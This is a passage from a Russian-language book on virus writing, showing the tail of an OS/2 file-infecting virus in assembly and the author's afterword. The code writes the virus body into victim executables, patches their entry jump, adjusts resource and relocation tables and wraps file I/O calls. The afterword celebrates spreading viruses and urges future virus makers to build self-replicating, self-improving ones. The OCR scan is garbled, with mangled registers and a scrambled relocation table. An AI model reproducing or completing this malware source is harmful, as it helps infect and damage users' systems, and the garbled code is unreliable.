mov cx.es:[si]
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add si,4

WVC2: mov di,cs:[si]

add di,OFFSET TEMP

mov ax.OFFFFH

stosw

inc ax

stosw

add si, 8

loop WVC2

mov cx,VIRUS_SIZE ;сх=размер вируса

mov dx,OFFSET TEMP ^х=офсет начала вируса

call FILE_WRITE записываем вирус в файл

pop dx ;OK, теперь обновляем прыжок

pop ex ;к жертве

mov ax.OFFSET VIRUS_DONE - OFFSET VIRUS

inc ax

add dx.ax

adc cx,0 ;сх^х=локация для обновления

push ax

call FILE_SEEK_ST ;переходим туда

pop ax

inc ax

inc ax

add ax,V\DRDPTR[NEW_HDR+14H] ;ах=офсет инструкции

;после прыжка

sub ax,[ENTRYPT] ;ах=расстояние для прыжка

neg ax ;делаем его отрицательным числом

mov WORD PTR [TEMP],ax сохраняем его здесь

mov cx,2 ;и записываем его на диск

mov dx.OFFSETTEMP

call FILE_WRITE ;все сделано

ret

Обновляем таблицу ресурсов, чтобы секторные указатели бы-
ли правильными (при наличии каких-либо ресурсов).
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UPDATE_RES_TABLE:

cmp WORD PTR [NEW_HDR+34H],0 ;имеются какие-то ресурсы?

jz URTE ;нет, выйти из этой подпрограммы

mov dx.WORD PTR [NEW_HDR+24H] перемещаем таблицу ресурсов

add dx,[NH_OFFSET] ; в EXE

add dx,2

xor ex, ex

call FILE_SEEK_ST

URT1:

mov dx.OFFSETTEMP

mov ex,8

call RLE_READ ;читаем 8-байтовую запись информации о типе

cmp WORD PTR [TEMP],0 ;ЮтипаО?

jz SHORT URTE ;да, все сделано

mov cx,WORD PTR [TEMP+2] ;получаем число записей информации об

;имени для чтения

URT2: push ex

mov dx.OFFSETTEMP

mov ex, 12

call FILE_READ ;читаем 1-ю запись информации об имени

mov ax.WORD PTR [TEMP] ;получаем офсет ресурса

cmp ax,[INITSEC] ;больше, чем локация первоначального cs?

jle SHORT URT3 ;нет, не тревожимся о нем

add ax,[VIRSECS] добавляем размер вируса

mov WORD PTR [TEMP],ax

mov dx,-12

mov cx.OFFFFH

mov al,1 ;теперь возвращаем указатель файла вверх

call FILE_SEEK

mov dx.OFFSET TEMP записываем обновленную запись ресурса
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mov сх,12 ;в файл

call FILE_WRITE

URT3: pop ex

dec ex ;читаем, пока не пройдем все записи информации об

jnz URT2 ;имени для этого типа

jmp URT1 ;переходим к другой записи информации о типе

URTE: ret

;здесь производятся вызовы к I/O функциям файла, основанным на
DOSCALL

;открываем файл, указанный в ds:dx в режиме чтения/записи:

FILE_OPEN:

push ds ;вталкиваем указатель к имени файла

push dx

push ds ;вталкиваем указатель к индексу

push OFFSET FHANDLE

push ds ;вталкиваем указатель к OpenAction

push OFFSET OPENACTION

push 0 назначаем DWORD первоначального файла

push 0

push 3 ;вталкиваем атрибуты (скрытый, г/о, нормальный)!

push 1 ;FILE_OPEN

push 42 ;OPEN_SHARE_DENYNONE

push 0 ;DWORD 0 (в резерве)

push 0

ROPEN: call DosOpen ;открываем файл

or ax,ax устанавливаем флаг z

ret ;возвращаемся с индексом/ошибкой в ах

;читаем сх байтов данных к ds:dx из файла, чей индекс = FHANDLE

FILE_READ:

push [FHANDLE] .-передаем индекс к Jread
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push ds

push dx ;буфер, где будем читать

push ex ;байты для чтения

push ds ;место, где хранятся байты для чтения

push OFFSET WRITTEN

RREAD: call DosRead ;читаем их

clc
or ax.ax проверяем на ошибку

mov ax.WORD PTR [WRITTEN] ;ах=байты для записи

jz FRET произошла ли ошибка?

stc устанавливаем перенос, если ошибка

FRET: ret

Записываем сх байтов данных в ds:dx в файл, чей индекс = FHANDLE:

FILE_WRITE:

push [FHANDLE] ;передаем индекс к DosWrite

push ds

push dx ;буфер, из которого производится запись

push сх ;байты для записи

push ds

push OFFSET WRITTEN ; помещаем сюда число байтов для записи

RWRITE: call DosWrite

clc

or ax,ax

mov ax.WORD PTR [WRITTEN] сохраняем их в ах

jz FWET

stc

FWET: ret

;ищем локацию dx:cx в файле. Возвращаем абсолютный указатель фай-
ла в ;сх:ах

FILE_SEEK_ST:

xor al.al

FILE_SEEK:

push [FHANDLE] ;вталкиваем в стек индекс файла

push сх
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push dx ;число байтов для перемещения

xorah.ah ;ах=источник, из которого ведется поиск

push ax ;О=начальный, 1=текущий, 2=конец

push ds
push OFFSET WRITTEN :место, куда помещаем абсолютный указатель

файла
RSEEK: call DosChgFilePtr устанавливаем указатель файла

clc
or ах.ах
mov ax.WORD PTR [WRITTEN]
mov dx.WORD PTR [WRITTEN+2]
jz FSET
stc

FSET: ret
;Close the file FHANDLE.
FILE_CLOSE:
push [FHANDLE] ;передаем индекс к DosClose
RCLOSE: call DosClose ;и выполняем его

ret

Данный HOST здесь только для первоначального запуска
программы. Когда вирус инфицирует файл, вирус прыгнет к стар-
товому коду той программы, к которой он прикрепится.

HOST:

push 1 ;прервать все цепочки выполняемых задач

push 0 ;вернутькодО

call DosExit ; прервать программу

Следующие перемещения добавляются в таблицу перемеще-
ний в этом секторе для удобства вируса. Они должны быть послед-
ними в сегменте кода, чтобы программа с патчами работала пра-
вильно.

ARELOCS DW 9 ;число перемещений, добавляемых в

R_OPEN DW 103H,OFFSETROPEN+1,1,70

;таблицу перемещений

R_READ DW 10ЗН,OFFSET RREAD+1,1,137
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R.

R_

R_

R_

R.

R

R_

WRITE

_SEEK

.CLOSE

.FFIRST

.FNEXT

.DALSE

_DFRSE

END_VIRUS:

CODE ENDS

DW

DW

DW

DW

DW

DW

DW

103H,OFFSET RWRITE+1,1,138

103H,OFFSET RSEEK+1,1,58

103H,OFFSET RCLOSE+1,1,59

103H,OFFSET FFIRST+1,1,64

10ЗН,OFFSET FNEXT+1,1,65

103H,OFFSET DALSE+1,1,34

103H.OFFSET DFRSE+1,1,39

;метка для конца Windows-вируса

В сегменте кода не кодируются никакие данные, поскольку в
OS/2 вирус должен назначать сегмент данных при выполнении.
Мы должны предполагать, что при запуске программы он будет за-
полнен случайным «мусором».

Подпрограмма CREATE_DS инициализирует некоторые дан-
ные, используемые в этом сегменте, который в обычных програм-
мах заполнен предварительным кодом.

_DATA SEGMENT PARA USE16 'DATA'

DATASTART EQU $

FILEJD1 DB 6 dup (? ;для поиска файлов

6 dup (?) ;для осмотра файлов

8 dup (?) ;«DOSCALLS»

? начальный офсет вируса в RAM

? ;байты, записываемые в файл

DW ? первоначальный ip из старта вируса

NHOFFSET DW ? ;офсет нового заголовка из начала файла

VIRSECS DW ? ;размер, добавляемый вирусом к файлу

;{в секторах)

INITSEC DW ? ;локация первоначального cs в файле

;(в секторах)

RELOCS DW ? ;число перемещений в cs

LOG_SEC DW ?;размер логического сектора для программы

FILEJD2

KNAME

VSTART

WRITTEN

ENTRYPT

DB

DB

DW

DD

DW
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CS_SIZE

KERNEL

FHANDLE

DW
DW

DW

? ;размер сегмента кода

? ;номер модуля KERNEL

? ;индекс файла для новой жертвы

OPENACTION DW ? ;используется DosOpen

SRCHCOUNT DW ? ;используется DosFindFirst/Next

DHANDLE DW ? ;используется DosFindFirst/Next

NEWJHDR DB NEW_HDR_SIZE dup (?) пространство,
;куда вставляется новый ЕХЕ-заголовок

TEMP DB DATABUFSIZE dup (?) ;хранилище временных данных

SBUF DB 279 dup (?) структура буфера поиска DosFind

DATAEND EQU $

_DATA ENDS+

_STACK SEGMENT PARA USE16 STACK 'STACK1 db 5120 dup (?)

_STACKENDS

END VIRUS



Послесловие

Вот и подошла к концу моя первая книга о вирусах. Как вы, на-
верное, уже поняли, главное — не сочинить самый зловредный и наи-
более мерзопакостный вирус. Главное — вдохнуть в него дыхание
жизни. Если оно присутствует, то самая мерзкая сколопендра превра-
щается в чудесное существо и жалит только по необходимости. И
опять-таки от мертворожденного создания нет ни толку, ни проку, оно
не вызывает ни радости, ни жалости, ни сочувствия.

Пройдя со мной всю экологическую цепочку от простейших
амебообразных DOS-овских 1зирусов до вершины эволюции — ви-
русов под Windows, вы, наверное, ощутили себя как Творец, кото-
рый после долгой тягомотины с цветочками и пчелками создал на-
конец человека.

Но не торопитесь — до создания настоящего компьютерного
разума еще далеко. Покамест наши с вами вирусы исполняют лишь
одну функцию, схожую с функцией нормальных земных микробов
— распространяются, отравляя всю окружающую среду, и наконец
подыхают от ее переполнения или под воздействием чужеродных
факторов. Наша цель — научить сами вирусы сочинять вирусы по
своему образу и подобию и таким образом одарить их инстинктом
продолжения рода и самосовершенствования. Эта задача должна
стать светлой целью будущих поколений вирусмейкеров.
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